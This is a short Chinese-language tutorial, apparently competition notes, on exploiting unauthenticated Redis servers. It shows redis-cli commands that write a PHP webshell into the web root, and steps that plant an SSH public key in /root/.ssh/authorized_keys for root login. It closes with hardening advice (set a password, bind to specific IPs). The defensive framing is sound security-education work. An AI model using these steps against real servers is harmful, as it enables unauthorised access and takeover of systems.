漏洞成因:
- 默认绑定在0.0.0.0:6379 且没有添加防火墙规则,导致暴漏在公网中
- 没有设置密码认证,(一般为空),可以免密码远程登录redis服务。
漏洞危害: - 无需认证,直接登录。导致敏感信息泄露
- 写入木马。
启动redis
redis-server /etc/redis.conf
利用方式:常用第一种
1)写入webshell
需要拥有读写权限
需要知道web目录,AWD中目录一样。
进入redis的src目录,执行登录命令
./redis-cli -h 目标ip
执行以下命令进行写入webshell
config set dir /var/www/html 指定写入目录
config set dbfilename shell.php 指定shell文件名
set webshell "<?php phpinfo();?>" 指定shell内容
save或bgsave
就可以成功在/var/www/html写入shell.php文件
2)利用"公私钥"认证获取root权限
使用条件:靶机redis需要以root权限运行
攻击机生成ssh公钥和私钥,密码设为空
进入.ssh,将生成的公钥保存到1.txt
连接靶机redis服务
将存有ssh公钥的1.txt写入redis。
登录redis靶机,获得redis备份路径
更改redis备份路径为ssh公钥存放目录(默认为/root/.ssh)
设置上传公钥的备份文件名字为authorized_keys:
保存并退出
使用ssh免密登录
ssh -i id_rsa root@192.168.0.104
加固方式:
1) 设置密码
编辑etc/redis.conf
添加密码
requirepass 密码
2) 设置访问IP
开启ip绑定
最后重启redis